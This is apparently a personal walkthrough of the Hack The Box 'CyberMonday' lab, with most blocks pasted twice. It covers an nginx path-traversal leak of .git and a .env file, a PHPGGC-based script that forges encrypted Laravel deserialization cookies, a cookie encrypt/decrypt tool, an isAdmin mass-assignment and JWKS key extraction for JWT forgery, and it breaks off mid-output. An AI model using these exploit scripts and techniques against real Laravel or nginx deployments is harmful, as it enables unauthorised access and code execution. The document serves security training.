CYBERMONDAY

NMAP:

# Nmap 7.93 scan initiated Fri Nov 24 16:03:44 2023 as: nmap -sCV -p22,80 -Pn -n -oN allports 10.10.11.228
Nmap scan report for 10.10.11.228
Host is up (0.068s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 7468141fa1c048e50d0a926afbc10cd8 (RSA)
|   256 f7109dc0d1f383f20525aadb080e8e4e (ECDSA)
|_  256 2f6408a9af1ac5cf0f0b9bd295f59232 (ED25519)
80/tcp open  http    nginx 1.25.1
|_http-title: Did not follow redirect to http://cybermonday.htb
|_http-server-header: nginx/1.25.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Nov 24 16:03:54 2023 -- 1 IP address (1 host up) scanned in 9.53 seconds
# Nmap 7.93 scan initiated Fri Nov 24 16:03:44 2023 as: nmap -sCV -p22,80 -Pn -n -oN allports 10.10.11.228
Nmap scan report for 10.10.11.228
Host is up (0.068s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 7468141fa1c048e50d0a926afbc10cd8 (RSA)
|   256 f7109dc0d1f383f20525aadb080e8e4e (ECDSA)
|_  256 2f6408a9af1ac5cf0f0b9bd295f59232 (ED25519)
80/tcp open  http    nginx 1.25.1
|_http-title: Did not follow redirect to http://cybermonday.htb
|_http-server-header: nginx/1.25.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Nov 24 16:03:54 2023 -- 1 IP address (1 host up) scanned in 9.53 seconds

WEB

the box was running a web server on nginx.

FEROXBUSTER MAIN WEB

lucas@parrot  ~/machines/cybermonday/nmap  feroxbuster -u 'http://cybermonday.htb'

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.3.3
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://cybermonday.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /opt/SecLists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.3.3
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
200      121l      355w        0c http://cybermonday.htb/login
302       12l       22w        0c http://cybermonday.htb/logout
301        7l       11w      169c http://cybermonday.htb/assets
301        7l       11w      169c http://cybermonday.htb/assets/css
301        7l       11w      169c http://cybermonday.htb/assets/js
301        7l       11w      169c http://cybermonday.htb/assets/img
301        7l       11w      169c http://cybermonday.htb/assets/views
301        7l       11w      169c http://cybermonday.htb/assets/views/components
301        7l       11w      169c http://cybermonday.htb/assets/views/home
301        7l       11w      169c http://cybermonday.htb/assets/views/dashboard
301        7l       11w      169c http://cybermonday.htb/assets/views/partials
🚨
lucas@parrot  ~/machines/cybermonday/nmap  feroxbuster -u 'http://cybermonday.htb'

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.3.3
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://cybermonday.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /opt/SecLists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.3.3
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
200      121l      355w        0c http://cybermonday.htb/login
302       12l       22w        0c http://cybermonday.htb/logout
301        7l       11w      169c http://cybermonday.htb/assets
301        7l       11w      169c http://cybermonday.htb/assets/css
301        7l       11w      169c http://cybermonday.htb/assets/js
301        7l       11w      169c http://cybermonday.htb/assets/img
301        7l       11w      169c http://cybermonday.htb/assets/views
301        7l       11w      169c http://cybermonday.htb/assets/views/components
301        7l       11w      169c http://cybermonday.htb/assets/views/home
301        7l       11w      169c http://cybermonday.htb/assets/views/dashboard
301        7l       11w      169c http://cybermonday.htb/assets/views/partials
🚨

there was not to much, it was an app in which i could create an user, with that user i could not do to much, i just was able to see my balance and change my password.

i enumerate some directories, but there was not to much stuff i could d, so i tried the typicall LFI that Nginx is vulnerable in some cases.

when you are in a directory that you get a 301 , you can try to do and LFI by doing a directory traversal. Hacktricks had a POC about this

dbfcfede8ac6b31b97a8efbf2c9abdb8.png

so i tested it on teh assets directory and found a 400 that is the behave of a lfi on nginx, since otehrwise i would get a 404.

ec2e17b7b4a1244873b15cdc64a6900e.png

so with that simptom, i fuzz for a lfi, there

and it worked

 ✘ lucas@parrot  ~/machines/cybermonday/content  ffuf  -u 'http://cybermonday.htb/assets../FUZZ' -w /opt/SecLists/Discovery/Web-Content/raft-small-words.txt -t 150

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.4.1-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://cybermonday.htb/assets../FUZZ
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/Web-Content/raft-small-words.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 150
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________

database                [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 74ms]
app                     [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 83ms]
lang                    [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 77ms]
resources               [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 84ms]
public                  [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 78ms]
.                       [Status: 403, Size: 153, Words: 3, Lines: 8, Duration: 87ms]
config                  [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 412ms]
tests                   [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 81ms]
storage                 [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 94ms]
vendor                  [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 85ms]
.git                    [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 87ms]
routes                  [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 76ms]
.gitignore              [Status: 200, Size: 179, Words: 1, Lines: 15, Duration: 79ms]
:
 ✘ lucas@parrot  ~/machines/cybermonday/content  ffuf  -u 'http://cybermonday.htb/assets../FUZZ' -w /opt/SecLists/Discovery/Web-Content/raft-small-words.txt -t 150

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.4.1-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://cybermonday.htb/assets../FUZZ
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/Web-Content/raft-small-words.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 150
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________

database                [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 74ms]
app                     [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 83ms]
lang                    [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 77ms]
resources               [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 84ms]
public                  [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 78ms]
.                       [Status: 403, Size: 153, Words: 3, Lines: 8, Duration: 87ms]
config                  [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 412ms]
tests                   [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 81ms]
storage                 [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 94ms]
vendor                  [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 85ms]
.git                    [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 87ms]
routes                  [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 76ms]
.gitignore              [Status: 200, Size: 179, Words: 1, Lines: 15, Duration: 79ms]
:

knowin that there was a .git dir, i could use git-dumper to dump the directory and analyze the code locally

USING GIT-DUMPER TO DUMP .GIT

git-dumper http://cybermonday.htb/assets../ .git
Warning: Destination '.git' is not empty
[-] Testing http://cybermonday.htb/assets../.git/HEAD [200]
[-] Testing http://cybermonday.htb/assets../.git/ [403]
[-] Fetching common files
git-dumper http://cybermonday.htb/assets../ .git
Warning: Destination '.git' is not empty
[-] Testing http://cybermonday.htb/assets../.git/HEAD [200]
[-] Testing http://cybermonday.htb/assets../.git/ [403]
[-] Fetching common files

CODE NOTES

IGNORED IN GIT
0c56e706882d87456bf5b6bacae6fb52.png

posible mysql or redis as DB

6347dbfa83d97b83815fad0fe18c9d73.png

APP KET ON .VEN

930b7653bf74b5abb8bd174c2d9b37c9.png

But i had no access to it

however the .gitignore tell me that it was excluding that routes from the .git, but i could try to get them using the LFI, so i started with .env since it contains most of the juice

.ENV

APP_NAME=CyberMonday
APP_ENV=local
APP_KEY=base64:EX3zUxJkzEAY2xM4pbOfYMJus+bjx6V25Wnas+rFMzA=
APP_DEBUG=true
APP_URL=http://cybermonday.htb

LOG_CHANNEL=stack
LOG_DEPRECATIONS_CHANNEL=null
LOG_LEVEL=debug

DB_CONNECTION=mysql
DB_HOST=db
DB_PORT=3306
DB_DATABASE=cybermonday
DB_USERNAME=root
DB_PASSWORD=root

BROADCAST_DRIVER=log
CACHE_DRIVER=file
FILESYSTEM_DISK=local
QUEUE_CONNECTION=sync
SESSION_DRIVER=redis
SESSION_LIFETIME=120

MEMCACHED_HOST=127.0.0.1

REDIS_HOST=redis
REDIS_PASSWORD=
REDIS_PORT=6379
REDIS_PREFIX=laravel_session:
CACHE_PREFIX=

MAIL_MAILER=smtp
MAIL_HOST=mailhog
MAIL_PORT=1025
MAIL_USERNAME=null
MAIL_PASSWORD=null
MAIL_ENCRYPTION=null
MAIL_FROM_ADDRESS="hello@example.com"
MAIL_FROM_NAME="${APP_NAME}"

AWS_ACCESS_KEY_ID=
AWS_SECRET_ACCESS_KEY=
AWS_DEFAULT_REGION=us-east-1
AWS_BUCKET=
AWS_USE_PATH_STYLE_ENDPOINT=false

PUSHER_APP_ID=
PUSHER_APP_KEY=
PUSHER_APP_SECRET=
PUSHER_APP_CLUSTER=mt1

MIX_PUSHER_APP_KEY="${PUSHER_APP_KEY}"
MIX_PUSHER_APP_CLUSTER="${PUSHER_APP_CLUSTER}"

CHANGELOG_PATH="/mnt/changelog.txt"

REDIS_BLACKLIST=flushall,flushdb
APP_NAME=CyberMonday
APP_ENV=local
APP_KEY=base64:EX3zUxJkzEAY2xM4pbOfYMJus+bjx6V25Wnas+rFMzA=
APP_DEBUG=true
APP_URL=http://cybermonday.htb

LOG_CHANNEL=stack
LOG_DEPRECATIONS_CHANNEL=null
LOG_LEVEL=debug

DB_CONNECTION=mysql
DB_HOST=db
DB_PORT=3306
DB_DATABASE=cybermonday
DB_USERNAME=root
DB_PASSWORD=root

BROADCAST_DRIVER=log
CACHE_DRIVER=file
FILESYSTEM_DISK=local
QUEUE_CONNECTION=sync
SESSION_DRIVER=redis
SESSION_LIFETIME=120

MEMCACHED_HOST=127.0.0.1

REDIS_HOST=redis
REDIS_PASSWORD=
REDIS_PORT=6379
REDIS_PREFIX=laravel_session:
CACHE_PREFIX=

MAIL_MAILER=smtp
MAIL_HOST=mailhog
MAIL_PORT=1025
MAIL_USERNAME=null
MAIL_PASSWORD=null
MAIL_ENCRYPTION=null
MAIL_FROM_ADDRESS="hello@example.com"
MAIL_FROM_NAME="${APP_NAME}"

AWS_ACCESS_KEY_ID=
AWS_SECRET_ACCESS_KEY=
AWS_DEFAULT_REGION=us-east-1
AWS_BUCKET=
AWS_USE_PATH_STYLE_ENDPOINT=false

PUSHER_APP_ID=
PUSHER_APP_KEY=
PUSHER_APP_SECRET=
PUSHER_APP_CLUSTER=mt1

MIX_PUSHER_APP_KEY="${PUSHER_APP_KEY}"
MIX_PUSHER_APP_CLUSTER="${PUSHER_APP_CLUSTER}"

CHANGELOG_PATH="/mnt/changelog.txt"

REDIS_BLACKLIST=flushall,flushdb

by finding the key, and after reading a POC about laravel deserealization, i found that it was possible to send serialized data by crafting a malicious cookie to the application, i just neeeded the base64 key that i found on the .env file.

also they had a php code that creates the structure for the cookie, and uses phpggc to created a serialized payload that i could send to the box as the cookiename

PHP CRAFTER

<?php
$cipher = 'AES-256-CBC';
$app_key = 'base64:EX3zUxJkzEAY2xM4pbOfYMJus+bjx6V25Wnas+rFMzA=';
$chain_name = 'Laravel/RCE6';
$payload = 'ping 10.10.14.15';

// Use PHPGGC to generate the gadget chain
$chain = shell_exec('./phpggc '.$chain_name.' "'.$payload.'"');
// Key can be stored as base64 or string.
if( explode(":", $app_key)[0] === 'base64' ) {
 $app_key = base64_decode(explode(':', $app_key)[1]);
}
// Create cookie
$iv = random_bytes(openssl_cipher_iv_length($cipher));
$value = \openssl_encrypt($chain, $cipher, $app_key, 0, $iv);
$iv = base64_encode($iv);
$mac = hash_hmac('sha256', $iv.$value, $app_key);
$json = json_encode(compact('iv', 'value', 'mac'));

// Print the results
die(urlencode(base64_encode($json)));
<?php
$cipher = 'AES-256-CBC';
$app_key = 'base64:EX3zUxJkzEAY2xM4pbOfYMJus+bjx6V25Wnas+rFMzA=';
$chain_name = 'Laravel/RCE6';
$payload = 'ping 10.10.14.15';

// Use PHPGGC to generate the gadget chain
$chain = shell_exec('./phpggc '.$chain_name.' "'.$payload.'"');
// Key can be stored as base64 or string.
if( explode(":", $app_key)[0] === 'base64' ) {
 $app_key = base64_decode(explode(':', $app_key)[1]);
}
// Create cookie
$iv = random_bytes(openssl_cipher_iv_length($cipher));
$value = \openssl_encrypt($chain, $cipher, $app_key, 0, $iv);
$iv = base64_encode($iv);
$mac = hash_hmac('sha256', $iv.$value, $app_key);
$json = json_encode(compact('iv', 'value', 'mac'));

// Print the results
die(urlencode(base64_encode($json)));

it uses PHPGGC to generates the data, and then printed it by console

it did not worked, so probably the restriction for unserialize was setted to true, however, i could try to impersonate others by abusing the appy_key that i found, so reading at hacktricks it has a program that allowsme to decode laravel cookies based on the b64 blob. and the apy_key

LARAVEL DECODER

import os
import json
import hashlib
import sys
import hmac
import base64
import string
import requests
from Crypto.Cipher import AES
from phpserialize import loads, dumps

#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3

def mcrypt_decrypt(value, iv):
    global key
    AES.key_size = [len(key)]
    crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
    return crypt_object.decrypt(value)


def mcrypt_encrypt(value, iv):
    global key
    AES.key_size = [len(key)]
    crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
    return crypt_object.encrypt(value)


def decrypt(bstring):
    global key
    dic = json.loads(base64.b64decode(bstring).decode())
    mac = dic['mac']
    value = bytes(dic['value'], 'utf-8')
    iv = bytes(dic['iv'], 'utf-8')
    if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest():
        return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
        #return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
    return ''


def encrypt(string):
    global key
    iv = os.urandom(16)
    #string = dumps(string)
    padding = 16 - len(string) % 16
    string += bytes(chr(padding) * padding, 'utf-8')
    value = base64.b64encode(mcrypt_encrypt(string, iv))
    iv = base64.b64encode(iv)
    mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest()
    dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac}
    return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))

app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
key = base64.b64decode(app_key)

#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}')
print(decrypt('eyJpdiI6IkFSQWErTDVVUHVDdmg1SEZpNmVjWFE9PSIsInZhbHVlIjoiQlpHUnhTbkIxUklzcC81STQ1L2l1U1VDcEVod3hXclhSdCt4SlhNRUZSMzRXMElQVWhaTk9Jd2N6YVFyeTF6MHJZajRESmZhL2dITW1TelV5RVc0aTVhYnIwMm4yZllJN2JlczZjVnFUQUJXNUIrM3Nrd05tVVZnd2RYdlg4YzEiLCJtYWMiOiJjMzRlYzVmNmFjMjlkOTJjNWJmM2U1ZTRiMmYxMWQ5YjZhZWI5M2JiYWMyOGZkOTE1ODBjMjE2MTQyNTllN2YzIiwidGFnIjoiIn0='))
import os
import json
import hashlib
import sys
import hmac
import base64
import string
import requests
from Crypto.Cipher import AES
from phpserialize import loads, dumps

#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3

def mcrypt_decrypt(value, iv):
    global key
    AES.key_size = [len(key)]
    crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
    return crypt_object.decrypt(value)


def mcrypt_encrypt(value, iv):
    global key
    AES.key_size = [len(key)]
    crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
    return crypt_object.encrypt(value)


def decrypt(bstring):
    global key
    dic = json.loads(base64.b64decode(bstring).decode())
    mac = dic['mac']
    value = bytes(dic['value'], 'utf-8')
    iv = bytes(dic['iv'], 'utf-8')
    if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest():
        return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
        #return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
    return ''


def encrypt(string):
    global key
    iv = os.urandom(16)
    #string = dumps(string)
    padding = 16 - len(string) % 16
    string += bytes(chr(padding) * padding, 'utf-8')
    value = base64.b64encode(mcrypt_encrypt(string, iv))
    iv = base64.b64encode(iv)
    mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest()
    dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac}
    return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))

app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
key = base64.b64decode(app_key)

#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}')
print(decrypt('eyJpdiI6IkFSQWErTDVVUHVDdmg1SEZpNmVjWFE9PSIsInZhbHVlIjoiQlpHUnhTbkIxUklzcC81STQ1L2l1U1VDcEVod3hXclhSdCt4SlhNRUZSMzRXMElQVWhaTk9Jd2N6YVFyeTF6MHJZajRESmZhL2dITW1TelV5RVc0aTVhYnIwMm4yZllJN2JlczZjVnFUQUJXNUIrM3Nrd05tVVZnd2RYdlg4YzEiLCJtYWMiOiJjMzRlYzVmNmFjMjlkOTJjNWJmM2U1ZTRiMmYxMWQ5YjZhZWI5M2JiYWMyOGZkOTE1ODBjMjE2MTQyNTllN2YzIiwidGFnIjoiIn0='))

however i needed the structure, so by causing an error in the app, i could see the structure, i caise an error, by updating my profile to somebody with name admin and email admin@cybermonday.htb

5f220d864c7579358758e77564e9a416.png

0c25a5b9fcb08086ca120c5832069b73.png

since the app has the debugger activated, i could see a lot of information about it

and i could see the structure of teh cookie

7aba6cb858b0e676a4a7520a38837d12.png

with that structure and the laravel decoder and encoder cookies that i found in hacktricks, i could try to see my isadmin to true

also i could see the version of the app running

122fbb7b2260fe117805917fb46fe8f3.png

and some SQL statements
4f754466985c01d3bc855a5aa0ded41e.png

also , if i tried to set the field isAdmin to 1 when i updated my profile , i could do it

and in that way, i unlock the Dashboard

b5b8db88f20c43c0cb02fbf4967c4dba.png

by reading at the changelog, i found some information, that the fixed a sqli, and added some webhooks

373433de92c6fbd8bba24a1b585e9549.png

the hyperlink of webhooks send me to another web page

88a7eb46d5f14e686282edef129f70c9.png

so i added it to the /etc/hosts

this was an api that managed some of the endpoints for the webhooks

531700e99acf0f9b0d3ef260943b1f08.png

also there was another spot in products that i could upload files

0e59902577e41b88a1800004d9bf9811.png

so i started with the api, first i register a user

c7ad6ccc89b4eb7f66f253d07af2708c.png

then i tried to see what i could do by login as the user

and got an access token

d29c6a8f286fce23b6a5156e6ae3490b.png

ee6fc5645bd00fd641f4c61a188f2c1e.png

and found the uuid for my webhooks

8f09012d55119d49731fc0ea7709b4f3.png

once i had my uuid for webhooks , i tried to use it for redirect it to my box, with a POST method. by following the syntaxis of the / page about the webhooks

65fe6cf28cdd5c432e60bf5997eb4ee9.png

i tried to enumerate do like a ssrf with my webhook, but it did not worked, so then i went to try to do something with the cookie that i got assigned from the server when i create a user

using my cookie, i use jwtio to see if it was just asking for a key, but it was asking for a certificate, a PEM and .CER, something that i had not touch before

lucas@parrot  ~/machines/tools  curl -X POST 'http://webhooks-api-beta.cybermonday.htb/auth/login' -d '{"username": "test", "password" : "test"}' -H 'Content-Type: application/json'
{"status":"success","message":{"x-access-token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpZCI6MiwidXNlcm5hbWUiOiJ0ZXN0Iiwicm9sZSI6InVzZXIifQ.YUH5IR0xH9qLhn5OF5WuC8cv7SX3iZDqGIExz2rp39KXXiqlNiC-9ta1uQ2gf-iDsCMJeRfWfzc39cPyb_jFjUsYLjQJGF1xTpNU1CZwK4SkWNv97GnQIdKF7oCsdMWIcBWf-8cn_UZLbwRn0bpM4vLi9HB1kRmprDKws876aqUg0NQmtayGHEAbcQBvs2QnMB4v-NzEJz0pS6wZvFFUpzDyI_P_hnUC92SvicGp9hjBysxx2BQzIaouQreDG931MNUoZDNojnctn5NJEuJRPwiaEuJhXEccLlRTsRgnz0rWTm81T_gqienHtRH-lC03ZqSmGiCdjw7F4tiInrrolQ"}}
lucas@parrot  ~/machines/tools  curl -X POST 'http://webhooks-api-beta.cybermonday.htb/auth/login' -d '{"username": "test", "password" : "test"}' -H 'Content-Type: application/json'
{"status":"success","message":{"x-access-token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpZCI6MiwidXNlcm5hbWUiOiJ0ZXN0Iiwicm9sZSI6InVzZXIifQ.YUH5IR0xH9qLhn5OF5WuC8cv7SX3iZDqGIExz2rp39KXXiqlNiC-9ta1uQ2gf-iDsCMJeRfWfzc39cPyb_jFjUsYLjQJGF1xTpNU1CZwK4SkWNv97GnQIdKF7oCsdMWIcBWf-8cn_UZLbwRn0bpM4vLi9HB1kRmprDKws876aqUg0NQmtayGHEAbcQBvs2QnMB4v-NzEJz0pS6wZvFFUpzDyI_P_hnUC92SvicGp9hjBysxx2BQzIaouQreDG931MNUoZDNojnctn5NJEuJRPwiaEuJhXEccLlRTsRgnz0rWTm81T_gqienHtRH-lC03ZqSmGiCdjw7F4tiInrrolQ"}}

then in jwt
6b8125dcf073b348089db65a1b13d461.png

so i started reading about this format in hacktricks, adn realized that it is called a JWKS
so after reading about how to find the n and the e, that are the things needed to decryt, and found that usually it is located on teh path jwks.json

so i try to find it and found the page

0e19fffb6643e740f10468a23f5ef9ce.png

n = pvezvAKCOgxwsiyV6PRJfGMul-WBYorwFIWudWKkGejMx3onUSlM8OA3PjmhFNCP_8jJ7WA2gDa8oP3N2J8zFyadnrt2Xe59FdcLXTPxbbfFC0aTGkDIOPZYJ8kR0cly0fiZiZbg4VLswYsh3Sn797IlIYr6Wqfc6ZPn1nsEhOrwO-qSD4Q24FVYeUxsn7pJ0oOWHPD-qtC5q3BR2M_SxBrxXh9vqcNBB3ZRRA0H0FDdV6Lp_8wJY7RB8eMREgSe48r3k7GlEcCLwbsyCyhngysgHsq6yJYM82BL7V8Qln42yij1BM7fCu19M1EZwR5eJ2Hg31ZsK5uShbITbRh16w
e = AQAB
n = pvezvAKCOgxwsiyV6PRJfGMul-WBYorwFIWudWKkGejMx3onUSlM8OA3PjmhFNCP_8jJ7WA2gDa8oP3N2J8zFyadnrt2Xe59FdcLXTPxbbfFC0aTGkDIOPZYJ8kR0cly0fiZiZbg4VLswYsh3Sn797IlIYr6Wqfc6ZPn1nsEhOrwO-qSD4Q24FVYeUxsn7pJ0oOWHPD-qtC5q3BR2M_SxBrxXh9vqcNBB3ZRRA0H0FDdV6Lp_8wJY7RB8eMREgSe48r3k7GlEcCLwbsyCyhngysgHsq6yJYM82BL7V8Qln42yij1BM7fCu19M1EZwR5eJ2Hg31ZsK5uShbITbRh16w
e = AQAB

so hacktricks had a js program to decrypt the values of E and N and generates a pub key

const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="pvezvAKCOgxwsiyV6PRJfGMul-WBYorwFIWudWKkGejMx3onUSlM8OA3PjmhFNCP_8jJ7WA2gDa8oP3N2J8zFyadnrt2Xe59FdcLXTPxbbfFC0aTGkDIOPZYJ8kR0cly0fiZiZbg4VLswYsh3Sn797IlIYr6Wqfc6ZPn1nsEhOrwO-qSD4Q24FVYeUxsn7pJ0oOWHPD-qtC5q3BR2M_SxBrxXh9vqcNBB3ZRRA0H0FDdV6Lp_8wJY7RB8eMREgSe48r3k7GlEcCLwbsyCyhngysgHsq6yJYM82BL7V8Qln42yij1BM7fCu19M1EZwR5eJ2Hg31ZsK5uShbITbRh16w";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="pvezvAKCOgxwsiyV6PRJfGMul-WBYorwFIWudWKkGejMx3onUSlM8OA3PjmhFNCP_8jJ7WA2gDa8oP3N2J8zFyadnrt2Xe59FdcLXTPxbbfFC0aTGkDIOPZYJ8kR0cly0fiZiZbg4VLswYsh3Sn797IlIYr6Wqfc6ZPn1nsEhOrwO-qSD4Q24FVYeUxsn7pJ0oOWHPD-qtC5q3BR2M_SxBrxXh9vqcNBB3ZRRA0H0FDdV6Lp_8wJY7RB8eMREgSe48r3k7GlEcCLwbsyCyhngysgHsq6yJYM82BL7V8Qln42yij1BM7fCu19M1EZwR5eJ2Hg31ZsK5uShbITbRh16w";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));

i ran it and got a valid Publik Key

lucas@parrot  ~/machines/cybermonday  node dec            
-----BEGIN PUBLIC KEY-----
